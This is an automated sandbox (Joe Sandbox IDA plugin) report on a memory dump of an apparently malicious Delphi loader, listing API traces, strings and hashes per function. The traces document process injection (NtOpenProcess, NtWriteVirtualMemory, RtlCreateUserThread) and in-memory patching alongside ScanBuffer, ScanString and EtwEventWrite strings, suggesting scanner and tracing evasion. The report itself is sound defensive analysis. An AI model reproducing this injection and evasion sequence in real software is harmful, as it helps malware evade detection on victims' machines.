Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: File$Path$CurrentProcess$AttributesCloseCreateLibraryMemoryNameName_VirtualWrite$AddressCacheDirectoryFlushFreeHandleInetInformationInstructionLoadModuleOfflineOpenProcProtectQueryRead
String ID: .png$.url$@^@$Advapi$BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Users\Public\$C:\Users\Public\Libraries$C:\Windows\SysWOW64$C:\Windows\System32\$C:\\Users\\Public\\Libraries\\$CreateProcessA$CreateProcessAsUserA$CreateProcessAsUserW$CreateProcessW$CreateProcessWithLogonW$CryptSIPGetInfo$CryptSIPGetSignedDataMsg$CryptSIPVerifyIndirectData$DEEX$DllGetActivationFactory$DllGetClassObject$DllRegisterServer$DlpCheckIsCloudSyncApp$DlpGetArchiveFileTraceInfo$DlpGetWebSiteAccess$DlpNotifyPreDragDrop$EnumProcessModules$EnumServicesStatusA$EnumServicesStatusExA$EnumServicesStatusExW$EnumServicesStatusW$EtwEventWrite$EtwEventWriteEx$FindCertsByIssuer$FlushInstructionCache$GET$HotKey=$I_QueryTagInformation$IconIndex=$Initialize$Kernel32$LdrGetProcedureAddress$LdrLoadDll$MZP$NtAccessCheck$NtAlertResumeThread$NtCreateSection$NtDeviceIoControlFile$NtGetWriteWatch$NtMapViewOfSection$NtOpenFile$NtOpenProcess$NtOpenSection$NtQueryDirectoryFile$NtQueryInformationThread$NtQuerySecurityObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtReadVirtualMemory$NtSetSecurityObject$NtWaitForSingleObject$NtWriteVirtualMemory$Ntdll$OpenProcess$OpenSession$RtlAllocateHeap$RtlCreateQueryDebugBuffer$RtlQueryProcessDebugInformation$SLGatherMigrationBlob$SLGetEncryptedPIDEx$ScanBuffer$ScanString$SetUnhandledExceptionFilter$SxTracerGetThreadContextDebug$TrustOpenStores$URL=file:"$UacInitialize$UacScan$UacUninitialize$VirtualAlloc$VirtualAllocEx$VirtualProtect$WinHttp.WinHttpRequest.5.1$WintrustAddActionID$WriteVirtualMemory$[InternetShortcut]$^^Nc$acS$advapi32$bcrypt$can$connect$endpointdlp$http$iexpress.exe$kernel32$mssip32$ntdll$psapi$smartscreenps$spp$sppc$sppwmi$wintrust$ws2_32
API String ID: 3974040814-596226238
Opcode ID: 92c467c60c1f17b5badc12feb3e202ab64e431e38f9e2d765a8660ec563550d8
Instruction ID: 9aabf9902ccb16589fc4a6f4c5d3a2bf723aa0bc69cbd7de9809f989367c81bc
Opcode Fuzzy Hash: 92c467c60c1f17b5badc12feb3e202ab64e431e38f9e2d765a8660ec563550d8
Instruction Fuzzy Hash: D4F31039A202199FDB19FB65DDC0ADEB3B9AF44340F5440E5E109AF256DB70AEC18F44

Uniqueness

Uniqueness Score: -1.00%

Function 03308E64 Relevance: 59.5, APIs: 14, Strings: 19, Instructions: 1789
libraryloadernativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 032CFD40: LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD78
Part of subcall function 032CFD40: GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD86
Part of subcall function 032CFD40: GetProcAddress.KERNEL32(74F60000,00000000), ref: 032CFD9F
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDBB
Part of subcall function 032CFD40: NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDC1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDEB
Part of subcall function 032CFD40: NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDF1
Part of subcall function 032CFD40: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000), ref: 032CFDFA
Part of subcall function 032CFD40: NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000), ref: 032CFE00
Part of subcall function 032CFD40: FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000), ref: 032CFE0B

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtOpenProcess,ScanBuffer,03330350,0330AC74,ScanString,03330350,0330AC74,ScanBuffer,03330350,0330AC74,ScanString,03330350,0330AC74,OpenSession,03330350), ref: 033090DD
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 033090E3
NtOpenProcess.NTDLL(033307E0,001F0FFF,03330330,03330348), ref: 033091C3

Part of subcall function 032B2F9C: QueryPerformanceCounter.KERNEL32 ref: 032B2FA0

GetCurrentProcess.KERNEL32(00000000,00000000,?,?,?,?,00000078,00000000,00000000), ref: 03309516

Part of subcall function 032CFB88: GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 032CFB95
Part of subcall function 032CFB88: GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 032CFB9B
Part of subcall function 032CFB88: NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 032CFBBB

IsBadReadPtr.KERNEL32(14D50000,00000040,?,?,00000078,00000000,00000000), ref: 03309720
IsBadReadPtr.KERNEL32(?,000000F8,14D50000,00000040,?,?,00000078,00000000,00000000), ref: 0330974D
GetCurrentProcess.KERNEL32(00000000,17D49400,00003000,00000040,?,000000F8,14D50000,00000040,?,?,00000078,00000000,00000000), ref: 033097A4
GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtWriteVirtualMemory,ScanString,03330350,0330AC74,ScanBuffer,03330350,0330AC74,ScanBuffer,03330350,0330AC74,OpenSession,03330350,0330AC74,ScanBuffer,03330350), ref: 0330A304
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0330A30A
NtWriteVirtualMemory.NTDLL(068B0000,068B0000,15450000,17D49400,00000000,OpenSession,03330350,0330AC74,UacInitialize,03330350,0330AC74,UacScan,03330350,0330AC74,00000000,C:\Windows\System32\ntdll.dll), ref: 0330A48C
GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,RtlCreateUserThread,ScanString,03330350,0330AC74,UacScan,03330350,0330AC74,OpenSession,03330350,0330AC74,ScanBuffer,03330350,0330AC74), ref: 0330A65C
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 0330A662
RtlCreateUserThread.NTDLL(068CF070,00000000,00000000,00000000,00000000,00000000,068CF070,00000000,033307BC,00000000,ScanString,03330350,0330AC74,OpenSession,03330350,0330AC74), ref: 0330A7F7
CloseHandle.KERNEL32(00000884,ScanBuffer,03330350,0330AC74,OpenSession,03330350,0330AC74,?,?,00000078,00000000,00000000), ref: 0330A8F2

Strings

RtlCreateUserThread, xrefs: 0330A652
I_QueryTagInformation, xrefs: 0330AA93
advapi32, xrefs: 0330AA98
ScanString, xrefs: 03308F4C, 03309028, 0330A290, 0330A5E8, 0330A766, 0330A9E5, 0330AB3E
NtSetSecurityObject, xrefs: 0330AAA4
Initialize, xrefs: 033093B1
UacInitialize, xrefs: 033091D0, 03309340, 0330960F, 033097BB, 03309937, 03309B08, 03309CCA, 03309E34, 03309FBE, 0330A38F, 0330A684, 0330A974, 0330AACD
BCryptQueryProviderRegistration, xrefs: 0330AA60
NtOpenProcess, xrefs: 033090D3, 0330AAB5
OpenSession, xrefs: 03308EF3, 03309241, 03309493, 0330952D, 0330982C, 03309A19, 03309B79, 03309DAC, 03309EA5, 0330A02F, 0330A12C, 0330A400, 0330A506, 0330A6F5, 0330A800, 0330A903, 0330ABAF
UacScan, xrefs: 03308E9A, 033090F4, 03309422, 0330959E, 03309C1A, 0330A31E, 0330A577
BCryptRegisterProvider, xrefs: 0330AA71
C:\Windows\System32\ntdll.dll, xrefs: 033090D8, 0330A2FF, 0330A657
ScanBuffer, xrefs: 03308FA9, 03309081, 0330914D, 033092B2, 03309680, 0330989D, 033099A8, 03309A97, 03309D3B, 03309F16, 0330A0A0, 0330A19D, 0330A21F, 0330A495, 0330A871
BCryptVerifySignature, xrefs: 0330AA4F
NtOpenObjectAuditAlarm, xrefs: 0330AA82
ntdll, xrefs: 0330AA87, 0330AAA9, 0330AABA
bcrypt, xrefs: 0330AA54, 0330AA65, 0330AA76
NtWriteVirtualMemory, xrefs: 0330A2FA

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: HandleProcess$AddressCurrentModuleProc$MemoryVirtual$LibraryReadWrite$AllocateCacheCloseCounterCreateFlushFreeInstructionLoadOpenPerformanceProtectQueryThreadUser
String ID: BCryptQueryProviderRegistration$BCryptRegisterProvider$BCryptVerifySignature$C:\Windows\System32\ntdll.dll$I_QueryTagInformation$Initialize$NtOpenObjectAuditAlarm$NtOpenProcess$NtSetSecurityObject$NtWriteVirtualMemory$OpenSession$RtlCreateUserThread$ScanBuffer$ScanString$UacInitialize$UacScan$advapi32$bcrypt$ntdll
API String ID: 2432997404-1975312874
Opcode ID: c31e8fd8b182c4bb0c2d4bb9cc068f77df689377d55ed2760bd581f228124e09
Instruction ID: fa854880682b7dbfad922c645984f80b808a0545338a5489b073c2ac3308ba07
Opcode Fuzzy Hash: c31e8fd8b182c4bb0c2d4bb9cc068f77df689377d55ed2760bd581f228124e09
Instruction Fuzzy Hash: 50F2FB38A203199FDB15FB69DDD0BCEB3B9AF44740F1141A5E008EF256DAB0AE818F55

Uniqueness

Uniqueness Score: -1.00%

Function 032B5DDC Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 184
registrystringlibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000105,032B0000,0331A794), ref: 032B5DF8
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,032B0000,0331A794), ref: 032B5E16
RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105,032B0000,0331A794), ref: 032B5E34
RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 032B5E52
RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,?,00000000,032B5EE1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 032B5E9B
RegQueryValueExA.ADVAPI32(?,032B6048,00000000,00000000,?,?,?,?,00000000,00000000,?,?,00000000,032B5EE1,?,80000001), ref: 032B5EB9
RegCloseKey.ADVAPI32(?,032B5EE8,00000000,?,?,00000000,032B5EE1,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 032B5EDB
lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 032B5EF8
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 032B5F05
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 032B5F0B
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 032B5F36
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 032B5F7D
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 032B5F8D
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 032B5FB5
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 032B5FC5
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 032B5FEB
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 032B5FFB

Strings

Software\Borland\Locales, xrefs: 032B5E0C, 032B5E2A
Software\Borland\Delphi\Locales, xrefs: 032B5E48

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: lstrcpyn$LibraryLoadOpen$LocaleQueryValue$CloseFileInfoModuleNameThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1759228003-2375825460
Opcode ID: d996a6017fb983c6e21580112a004b2a7852a110a9dcda8dc0a1f16d31d8dd54
Instruction ID: d35a1f9bb04da3b2787af7d0589dbf498bf176297bad17ed8bdb0ddbbd88f0b8
Opcode Fuzzy Hash: d996a6017fb983c6e21580112a004b2a7852a110a9dcda8dc0a1f16d31d8dd54
Instruction Fuzzy Hash: 0D51B875A2035D7EFB21D6A4CC46FEFB7BC9B057C0F1404A1A644EA181D7B4AAD48BA0

Uniqueness

Uniqueness Score: -1.00%

Function 032CFD40 Relevance: 15.1, APIs: 10, Instructions: 70
nativelibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExA.KERNEL32(00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD78
GetModuleHandleA.KERNEL32(00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFD86
GetProcAddress.KERNEL32(74F60000,00000000), ref: 032CFD9F
GetCurrentProcess.KERNEL32(0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDBB
NtProtectVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000,032CFE2B), ref: 032CFDC1
GetCurrentProcess.KERNEL32(0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDEB
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000,00000000,00000000), ref: 032CFDF1
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000,00000000), ref: 032CFDFA
NtFlushInstructionCache.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000,00000000), ref: 032CFE00
FreeLibrary.KERNEL32(74F60000,00000000,00000000,00000000,00000000,0333035C,Function_00006ADC,00000004,03330360,00000000,0333035C,17D783FC,00000040,00000004,74F60000,00000000), ref: 032CFE0B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CurrentProcess$LibraryMemoryVirtual$AddressCacheFlushFreeHandleInstructionLoadModuleProcProtectWrite
String ID:
API String ID: 2600374472-0
Opcode ID: 4ac48016fcb03db99a80946104659b8a96a6c0b4a25e2e96cee81e3783999ea9
Instruction ID: 58c270208effd906b3448608247616552ec79441764dcb009ae98cac7587931b
Opcode Fuzzy Hash: 4ac48016fcb03db99a80946104659b8a96a6c0b4a25e2e96cee81e3783999ea9
Instruction Fuzzy Hash: 2C219D79770348BFCA04FBE4CD92F9E76BCEB04B50F508415B104AF292CBB499808715

Uniqueness

Uniqueness Score: -1.00%

Function 032CFB86 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 032CFB95
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 032CFB9B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 032CFBBB

Strings

NtAllocateVirtualMemory, xrefs: 032CFB8B
C:\Windows\System32\ntdll.dll, xrefs: 032CFB90

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 1426a091a5044ef139cebf26350590e776761e8f46431fa7443c78462a461782
Instruction ID: 6fb5188ac1394d1885563d349ab429786a1ccc24e4cd6d0ce1c25e63275ba3a0
Opcode Fuzzy Hash: 1426a091a5044ef139cebf26350590e776761e8f46431fa7443c78462a461782
Instruction Fuzzy Hash: 9AE09A76250248BFCB40EF98D995EDB77ECAB1C750F408015BA19D7501D770E9508B61

Uniqueness

Uniqueness Score: -1.00%

Function 032CFB88 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 23
librarymemorynativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(C:\Windows\System32\ntdll.dll,NtAllocateVirtualMemory), ref: 032CFB95
GetProcAddress.KERNEL32(00000000,C:\Windows\System32\ntdll.dll), ref: 032CFB9B
NtAllocateVirtualMemory.NTDLL(?,?,00000000,?,?,?), ref: 032CFBBB

Strings

NtAllocateVirtualMemory, xrefs: 032CFB8B
C:\Windows\System32\ntdll.dll, xrefs: 032CFB90

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: AddressAllocateHandleMemoryModuleProcVirtual
String ID: C:\Windows\System32\ntdll.dll$NtAllocateVirtualMemory
API String ID: 421316089-2206134580
Opcode ID: 9871ee2b425a2d8dfbc92c361764f12e96afc997c07bb006f24264c6a05ccac7
Instruction ID: 88c97a0e152bd5d523058e6f105397192d34aebc542929b3459f9c90cedb328c
Opcode Fuzzy Hash: 9871ee2b425a2d8dfbc92c361764f12e96afc997c07bb006f24264c6a05ccac7
Instruction Fuzzy Hash: B4E09A76150248BFCB40EF98D995EDB77ECAB1C750F408015BA19D7501D770E5508B61

Uniqueness

Uniqueness Score: -1.00%

Function 0330B780 Relevance: 7.6, APIs: 5, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 032B5228: SysAllocStringLen.OLEAUT32(?,?), ref: 032B5236

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0330B850), ref: 0330B7BB
NtOpenFile.N(?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000,0330B850), ref: 0330B7EB
NtQueryInformationFile.N(?,?,?,00000018,00000005,?,00100001,?,?,00000001,00000020,00000000,?,00000000,00000000,00000000), ref: 0330B800
NtReadFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?,00100001), ref: 0330B82C
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,?,?,00000018,00000005,?), ref: 0330B835

Part of subcall function 032B4F68: SysFreeString.OLEAUT32(0330C964), ref: 032B4F76

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: File$PathString$AllocCloseFreeInformationNameName_OpenQueryRead
String ID:
API String ID: 1897104825-0
Opcode ID: 3f1f6e31735f02499abf9ae86de98f3e406f13b3a0e767e036612d8ea3804c06
Instruction ID: 96a506439a3da0c0acf1ae36401332a7f8b321bf6b06452e70afcc47df20032c
Opcode Fuzzy Hash: 3f1f6e31735f02499abf9ae86de98f3e406f13b3a0e767e036612d8ea3804c06
Instruction Fuzzy Hash: 6121D075A50318BEEB11EAE4CC92FDEB7BCEB08700F510466F610FB1C1DAB4AA458794

Uniqueness

Uniqueness Score: -1.00%

Function 0330BB50 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 111
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetCheckConnectionA.WININET(00000000,00000001,00000000), ref: 0330BC8E

Strings

ScanBuffer, xrefs: 0330BBD7
Initialize, xrefs: 0330BB7E
OpenSession, xrefs: 0330BC30

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CheckConnectionInternet
String ID: Initialize$OpenSession$ScanBuffer
API String ID: 3847983778-3852638603
Opcode ID: ff942b1520f7b43a0d265c6facf21515f7a493d56994174693a3a869767a46cc
Instruction ID: d8193e747c6cb614e15391eaddab89ba224fcda3396715d8b308960f485d2e70
Opcode Fuzzy Hash: ff942b1520f7b43a0d265c6facf21515f7a493d56994174693a3a869767a46cc
Instruction Fuzzy Hash: 1E414139B203089FDB04FBA5C9E1EDEF3B9EF48740F514425E110AB252DAB0ED418B54

Uniqueness

Uniqueness Score: -1.00%

Function 0330B69C Relevance: 6.1, APIs: 4, Instructions: 80
nativefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 032B5228: SysAllocStringLen.OLEAUT32(?,?), ref: 032B5236

RtlDosPathNameToNtPathName_U.N(00000000,?,00000000,00000000,00000000,0330B76E), ref: 0330B6DB
NtCreateFile.N(?,00100002,?,?,00000000,00000000,00000001,00000002,00000020,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 0330B715
NtWriteFile.N(?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000,00000001), ref: 0330B742
NtClose.N(?,?,00000000,00000000,00000000,?,00000000,?,00000000,00000000,?,00100002,?,?,00000000,00000000), ref: 0330B74B

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: FilePath$AllocCloseCreateNameName_StringWrite
String ID:
API String ID: 3764614163-0
Opcode ID: bad0f232eaafaf47a1215a82cb804f844ff1c01d79c78b54852837ac6648f33e
Instruction ID: 2db65a84b278f9c842e8f0fbdb0705dacbe2de59f85d4a381c8919ee47b491a4
Opcode Fuzzy Hash: bad0f232eaafaf47a1215a82cb804f844ff1c01d79c78b54852837ac6648f33e
Instruction Fuzzy Hash: E821ED75A50308BEEB10EBA4CD92FDEB7BCDF04B00F614461B610FB1C1D6B4AB448A54

Uniqueness

Uniqueness Score: -1.00%

Function 032CEF94 Relevance: 1.5, APIs: 1, Instructions: 48comCOMMON

Download Yara Rule

APIs

Part of subcall function 032CEF38: CLSIDFromProgID.OLE32(00000000,?,00000000,032CEF85,?,?,?,00000000), ref: 032CEF65

CoCreateInstance.OLE32(?,00000000,00000005,032CF078,00000000,00000000,032CEFF7,?,00000000,032CF067), ref: 032CEFE3

Memory Dump Source

Source File: 00000000.00000002.2323148800.00000000032B1000.00000020.00001000.00020000.00000000.sdmp, Offset: 032B0000, based on PE: true

Associated: 00000000.00000002.2323101813.00000000032B0000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.000000000331A000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2323447937.0000000003424000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_32b0000_Fpopgapwdcgvxn.jbxd

Similarity

API ID: CreateFromInstanceProg
String ID:
API String ID: 2151042543-0
Opcode ID: ccf0ce471d36aef00869ba728a5c1f80e96bf9fe21d2eaa6b98b9f891f25d75b
Instruction ID: 0dc97bec90c73e04b3d6289219029ac5337a4e20239b93f6460673be2db39344
Opcode Fuzzy Hash: ccf0ce471d36aef00869ba728a5c1f80e96bf9fe21d2eaa6b98b9f891f25d75b
Instruction Fuzzy Hash: 4E01F7346387846ED711DF609C128BEB7FCE749B40F520579F800D2A81EAB45D40C664

Uniqueness

Uniqueness Score: -1.00%

Function 033195F8 Relevance: 1.5, APIs: 1, Instructions: 34COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,0331967E), ref: 03319612

Part of subcall function 032F7438: GetCurrentProcessId.KERNEL32(?,00000000,032F75B0), ref: 032F7459
Part of subcall function 032F7438: GlobalAddAtomA.KERNEL32(00000000), ref: 032F748C
Part of subcall function 032F7438: GetCurrentThreadId.KERNEL32 ref: 032F74A7
Part of subcall function 032F7438: GlobalAddAtomA.KERNEL32(00000000), ref: 032F74DD
